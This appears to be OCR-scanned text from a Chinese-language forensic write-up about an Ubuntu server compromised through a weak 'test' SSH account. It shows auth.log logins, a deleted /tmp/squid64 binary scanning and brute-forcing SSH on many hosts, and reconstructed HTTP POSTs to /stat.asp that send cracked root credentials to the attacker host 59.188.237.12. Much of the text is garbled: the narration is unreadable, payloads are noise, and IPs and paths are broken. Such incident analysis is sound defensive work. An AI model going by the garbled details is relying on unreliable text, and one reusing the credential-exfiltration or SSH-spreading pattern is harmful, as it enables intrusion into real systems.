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# %4 Ubuntu e7% » 3e44% auth. log> R FRIFXELERFp o
3P RDIPE kb tREL test A% B L kb 22 5000w Y
SSH = 3% % » a4 > [P & &l & ¢ R 119, 147. 144, 101 -4 ik o
59.188.237.12 -

root@ubuntu:~# less fvarfloéfauth.loé 1] érep Accepted
Apr 20 10:46:07 ubuntu sshd[3703]: e password for |[test from|119.147.144.101|port 57956 ssh2
Apr 20 14:27:46 ubuntu sshd[20930] password for| test|from|59.188.237.12|port 1508 ssh2

Apr 22 00:13:46 ubuntu sshd[32213] password for| test|from|59.188.237.12| port 4899 ssh2
Apr 23 22:31:15 ubuntu sshd[9673]: password for from 36.238.142.236 port 9162 ssh2
root@ubuntu:~# [l
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root@ubuntu:~/kevin# less /var/log/auth.log | grep Accepted
27 16:38:18 ubuntu sshd[32742]: Accepted password for test from 140. port 62083 ssh2
27 16:41:39 ubuntu sshd[909]: Accepted password for test from 140. port 19161 ssh2
27 16:44:45 ubuntu sshd[1426]: Accepted password for test from 140 port 51318 ssh2

[
[

27 16:58:42 ubuntu sshd[3595]: Accepted password for test from 140 port 19857 ssh2
[

27 17:37:08 ubuntu sshd[8609]: Accepted password for|test|from 59.188.237.12 [port 1971 |ssh2
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200.14.56.140:22
157.201.144.87:22
78.188.113.17:22
158.79.52.13:22
65.179.173.230:22
113.88.241.22:22
69.46.19.48:22
128.199.151.10:22
165.77.189.195:22
196.29.129.5:22
6.107.104.39:22
215.11.166.41:22
35.2.146.71:22
16.164.122.50:22
54.82.243.2:22
203.196.132.100:22
176.73.166.45:22
83.46.80.25:22
125.62.98.115:22
181.138.122.9:22
197.6.244.139:22
118.173.44.59:22
190.6.244.5:22
91.18.234.195:22
60.34.79.106:22
81.21.104.17:22
65.210.45.81:22
87.254.89.170:22
55.4.152.179:22
130.47.201.251:22
201.218.62.65:22
83.60.54.157:22
173.165.146.113:22
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TYPE DEVICE SIZE/OFF NODE NAME
DIR 252,0 4096 27/
DIR 252,0 4096 2/
REG 252,0
REG 252,0

Wi

2142304 84410421 /tmp/squid64 (deleted)
52120 31198850 /1ib/x86_64-1inux-gnu/libnss_files-2.15.s0

SYN_SENT
SYN_SENT
ESTABLISHED
SYN_SENT
SYN_SENT

1000 7squiaed
9392/squid64
1061C/squidé4
9188/s5quid64
10001/squidé4

ESTABLISHED -

ESTABLISHED
ESTABLISHED
SYN_SENT
ESTABLISHED
SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
SYN_SENT
ESTABLISHED
SYN_SENT
ESTABLISHED
SYN_SENT
ESTABLISHED
ESTABLISHED
SYN_SENT
SYN_SENT
SYN_SENT
ESTABLISHED
ESTABLISHED
ESTABLISHED
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8781/squid64
10407 /squidé4
9595/squid64
8985/squid64
9392/squid64

9392/squid64
8781/squid64
9392/squid64
9392/squid64
9188/squid64
9798/squid64
10001/squidé4
9595/squid64
9392/squid64
9798/squid64
9595/squid64
9392/squid64

9798/squid64
9392/squid64
9188/squid64
8985/squid64
9188/squid64
9595/squid64
10407 /squidé4
9798/sguid64

squid64 - & * 45 4
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F 4 b b 2% [P port 22 3 i 4

reni= ¥ /tmp/squid64 (deleted) @ &

REG 252.0
REG 252,0
REG 252,0
REG 252,0
REG 252,0
REG 252.0

47680 31198843 /1ib/x86_64-1inux-gnu/libnss_nis-2.15.s0
97248 31198848 /1ib/x86_64-1linux-gnu/libnsl-2.15.s0
35680 31198854 /1lib/x86_64-1linux-gnu/libnss_compat-2.15.s0
1811128 31198844 /1lib/x86_64-1inux-gnu/libc-2.15.s0
31752 31195160 /1ib/x86_64-1inux-gnu/librt-2.15.s0
135366 31198846 /1ib/x86_64-1inux-gnu/libpthread-2.15.s0
REG 252,0 14768 31198865 /1ib/x86_64-1inux-gnuslibdl-2.15.s0
REG 252,0 149280 31198862 /lib/x86_64-1linux-gnu/ld-2.15.s0
REG 252,0 2272 63311503 /etc/passwd
IPv4 1290611 0to TCP ubuntu:36596->client-72-251-175-5.consolidated.net:ssh (CLOSE_WA
IPv4 23781451 0t0 TCP ubuntu:47630->vru.gov.ua:ssh (SYN_SENT)
IPv4 23708416 oto TCP ubuntu:56705->106.61.253.109:55h (SYN_SENT)
IPv4 23779464 oto TCP ubuntu:58279->ip-82-151-32-124.cable.texel.com:ssh (ESTABLISHEL)
IPv4 23777100 0to TCP ubuntu:55944->246.6.87.10:ssh (SYN_SENT)
IPv4 23739150 0t0 TCP ubuntu:39119->123.24.25.164:ssh (SYN_SENT)
IPv4 23781474 0t0 TCP ubuntu:37194->bmp-aggr-ras01-129.btl.net:ssh (SYN_SENT)
IPv4 23781430 0to TCP ubuntu:59454->PC-85-202-98-2.siedlce.domtel.com.pl:ssh (ESTABLIS

IPv4 23773156 0to TCP ubuntu:46284->pardey.lnk.telstra.net:ssh (ESTABLISHED)
IPv4 23769029 0t0 TCP_ubuntu >246 56.207.74:ssh (SYN_SFNT)
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14046108 10412
13980572 10908
14242716 10912
14373788 10920
14373788 11340
14177180 10932
14570396 11344
14177180 10684
14504860 11144
14177180 10636

/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
/tmp/squid64
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5.
5.
5.
5.
5.
5.
6.
5.
5.
5.

-squid64(11111,test)-+-{squid64}(11112)
|-{squid64}(11113)
|-{squid64}(11114)

|-{squid64}(11115)

|-{squid64}(11116)
|-{squid64}(11117)
|-{squid64}(11118)
|-{squid64}(11119)
|-{squid64}(11120)
|-{squid64}(11121)
|-{squid64}(11122)
|-{squid64}(11123)
|-{squid64}(11124)

9. % &# ¢ 11924 5 PID T4 & /proc/11924/ > p* FHL 2 FxF 5 MR 5L test

"m}

attr clear_refs limits oom_score_adj statm
fd cmdline loginuid pagemap status
fdinfo comm maps personality syscall
map_files coredump_filter mem ¥ root timers
net cpuset mountinfo sched wchan
ns #i cowd mounts schedstat

task environ mountstats sessionid

autogroup i exe numa_maps smaps

auxv io oom_adj stack

cgroup latency com_score stat
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root@ubuntu:~/kevin# fuser -uv squidé64
Specified filename squid64 does not exist.

root@ubuntu:~/kevin# |

11. #* 344 find / -username test & § 24P “7F & * & test ¢
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- [proc/i0610/task/10793/fdinfo/51
897858 /proc/i0610/task/107g3/fdinfo/52

- /proc/i10610/task/10793/fdinfo/53
897860 /proc/i0610/task/10793/fdinfo/54

- /proc/10610/task/10793/fdinfo/55
/proc/10610/task/107g3/fdinfo/56
/proc/10610/task/107g93/fdinfo/57
/proc/10610/task/10793/fdinfo/58
- /proc/i10610/task/10793/fdinfo/59
/proc/10610/task/10793/fdinfo/60
/proc/10610/task/10793/fdinfo/61

12. ///;[.Tg A\*nfrj\ 7'5'%*?‘»’171:681:"1’5%{, .38 :"L‘é"sg—ﬁé'ré’——’—éiﬂﬁ%iév
59.188.237. 12 4 3] @y 2 8 54> PFA ¢~ 52 & auth. log & &7 4ok -
VoM P S B 4B R L test A i 7 SSHE ~ o F L A T

PG 0 G IAER § T P ER A squidbd o I F R FEAE -

:18 ubuntu sshd[32742]: password for test from 140. port 62083 ssh2
:39 ubuntu sshd[909]: password for test from 140. port 19161 ssh2
:45 ubuntu sshd[1426]: password for test from 140 port 51318 ssh2

[
:42 ubuntu sshd[3595]: password for test from 140 port 19857 _ssh2
: [

sshd[8609]: password for| test|from 59.188.237.12 port 1971 ssh2

NetWitness Reconstruction for session ID: 15 ( Source 140. 161 : 22 Target 59.188.237.12:1971)
Time 4/27/2015 17:38:11 to 4/27/2015 17:38:16 Packet Size 1,668,438 bytes Payload Size 1,559,508 bytes

(o} 4R =& ch A ik

O<G - '}e 748 A 7208800 001K/ & HO(0 &
(00'DEFREP

#Hn=P fimE OO00SEEIEDC2u): 10 #aC*056D O HE GSIRIEKD $E—
ERID] EFeEg7hCD
wEIVOS0H

aO+)=fE 0 AREIE M2 05rav EiRi=00[H0 & 0[0 Y<ExVEHEB "0 E#Fe /0100
D&Feznk"JERY "[FEDY/ O8vEA:ER O QUeB (B RID ‘—ukpUHR W BEAE0 1

v/00 FO/(BEE/ofE10000= ap0%- +YFED! s&lFzq. pi+20 1503090 10)0 0>
Hy.0( D%i%kli{qr;%::”: Jh,igmﬁ&:)y—iéu

0 D41zgkt&f='10*R\O00 0UO0SEED  ICHE{0 p$D/ O 109}0.30fn

®EO0 WO f£50-00 O O B0 EEEIHRD 10 EI00100  #5ETxy0%06 h B

=EuD D40+REVERAE ¢ £ I8¢ HEE | oq&,,4FH‘;,: @s X

EHAMED 5 FEO( yO #8 i%070 0O LY DOD7«E O Z&ED boEs O 1
Gea  #I0 _ff VeD % B B SEdHE#i00q 2BFEeLRI TI@090-I0 &

fO00  O'#HCHEEMEM IS APED? eu GEEDamU"00EUOOOIRD  yLSEO"S®O"T

Oek[ERtiF#x07 206 TVREE?0  ABEefEEo 12 :sLEEER-1EQTyED




NetWitness Reconstruction for session ID: 11 ( Source 59.188.237.12 - 1971, Target 140.

Time 4/27/201517:38:16 to 7/201517:38:24 Packet Size 27,954 bytes Payload Size 22,848 bytes
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Time Service Size Events

2015-Apr-27 18:41:29 P/ TCp /f5sH] 3.04 KB & 140 161 ->183.207.98.102 i 50268 -> 22 (ssh)
2015-Apr-2718:41:29 IP / TCP /JsSH 3.66 KB * 140, 161 - 50.18.104.40  igh 39643 —> 22 (ssh)
2015-Apr-2718:41:29 IP [ TCP /JSSH 3.25 KB . 140. 161 ->61.186.44.66  igh 34219 —> 22 (ssh)
2015-Apr-27 18:41:30 IP / TCP /JSSH 3.73KB A 140 161 ->50.18.104.40  igh 39897 -> 22 (ssh)
2015-Apr-27 18:41:30 IP / TCP /{SSH 3.30 KB & 140 161 ->183.207.98.102 (b 50481 -> 22 (ssh)
2015-Apr-2718:41:29 IP / TCP /JsSH 4.38 KB * 140, 161 -»52.64.39.50 b 34344 -> 22 (ssh)
2015-Apr-2718:41:30 IP / TCP /{SSH 3.56 KB A 140, 161 ->49.107.65.101 b 38245 —> 22 (ssh)
2015-Apr-27 18:41:31 IP / TCP /JSSH 3.11KB A 140 161 ->183.207.98.102 g 50760 -> 22 (ssh)
2015-Apr-2718:41:30 IP / TCP /{SSH 3.45 KB & 140, 161 ->183.156.1.151 & 53013 -> 22 (ssh)
2015-Apr-27 18:41:30 IP / TCP /JSSH 4.01 KB A 140 161 ->222.90.136.125 @ 43347 -> 22 (ssh)
2015-Apr-27 18:41:31 IP / TCP /JSSH 3.73KB & 140 161 ->50.18.104.40  igh 40142 -> 22 (ssh)
2015-Apr-2718:41:29 IP / TCP /{SSH 3.13 KB * 140, 161 -» 113.65.232.150 @ 52622 -> 22 (ssh)
2015-Apr-2718:41:31 IP [ TCP /JSSH 3.25 KB . 140, 161 ->61.186.44.66 g 34594 —> 22 (ssh)
2015-Apr-27 18:41:30 IP / TCP /JSSH 4.02 KB A 140 161 ->97.125.213.46 (@ 49002 -> 22 (ssh)
2015-Apr-2718:41:29 IP / TCP /JsSH 4.01 KB & 140, 161 ->95.142.98.153  &h 44212 -> 22 (ssh)
2015-Apr-2718:41:29 IP / TCP /JsSH 2.72KB * 140, 161 -»41.252.194.78 @ 50161 -> 22 (ssh)
2015-Apr-27 18:41:30 1P/ TCP /|SSH] 2.89KB A 140, 161 ->217.7.219.45  igh 55183 -> 22 (ssh)
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Time Service Size Events

2015-Apr-27 18:54:54 IP / TCP [JHTTP 8418 A 140. 161 —>159.188.237.12
2015-Apr-27 18:59:21 IP / TCP [HTTP 764 B 2 140. .161 —>159.188.237.12
2015-Apr-27 19:10:06 IP/ TCP [JHTTP 763 B A 140. .161 -=59.188.237.12
2015-Apr-27 19:11:37 IP / TCP [HTTP 763 B 2 140. +.161 —>]590.188.237.12
2015-Apr-27 19:28:43 IP / TCP [HTTP 761 B 2 140. 161 —>159.188.237.12
2015-Apr-27 19:37:07 IP / TCP [JHTTP 1.08KB 4 140. .161 —159.188.237.12
2015-Apr-27 19:38:18 IP / TCP [JHTTP 764 B A 140. 161 ->159.188.237.12
2015-Apr-27 19:38:18 IP / TCP [HTTP 761 B A 140. 5.161 -»159.188.237.12
2015-Apr-27 19:38:19 IP / TCP [JHTTP 767 B A 140. .161 —59.188.237.12
2015-Apr-27 19:38:19 IP / TCP [JHTTP 76/ B & 140. .161 ->159.188.237.12
2015-Apr-27 19:38:19 IP / TCP [JHTTP 762 B A 140. .161 —=]590.188.237.12
2015-Apr-27 19:38:19 IP / TCP [JHTTP 762 B A 140. .161 —>59.188.237.12
2015-Apr-27 19:38:20 IP / TCP [JHTTP 706 B A 140. 161 —>159.188.237.12

() 54803 -
) 58798 -
@b 40747 -
@ 33515 -
W 50403 -
@ 59521 -
@) 48195 -
Wb 48218 -
Wb 48227 -
b 48240 -
Wb 48257 -
(@) 48268 -
() 48585 -

Displaying

80 thitp)
80 (http)
80 (http)
80 thitp)
80 (http)
80 (http)
80 (http)
80 (http)
80 (http)
80 (http)
80 (http)
80 (http)
80 (http)

NetWitness Reconstruction for session ID- 783433 ( Source 140 161 :59521, Target 59.188.237.12 - 80)

Time 4/27/2015 19:37.07 to 4/27/2015 19:37:09 Packet Size 1,108 bytes Payload Size 560 bytes
Do 220 loon Accomahlod Annhoia Ao ot >

TP

Host: 59.188.237.12

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913
Firefox/3.5.3

Accept: */*

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

data=110.77. .58 root admin
IP 1RS% 285

NetWitness Reconstruction for session ID- 852865 ( Source 140. 161 43725, Target 59.188.237.12 : 80 )
Time 4/27/2015 19:41:55t0 4/27/2015 19:41:58 Packet Size 836 bytes Payload Size 280 bytes

| POST /stat.asp HTTP/1.1 |

Host: 59.188.237.12

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913
Firefox/3.5.3

Accept: */*

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Idata:l]'?.'?. .45 root tester
IP 1Re% 28
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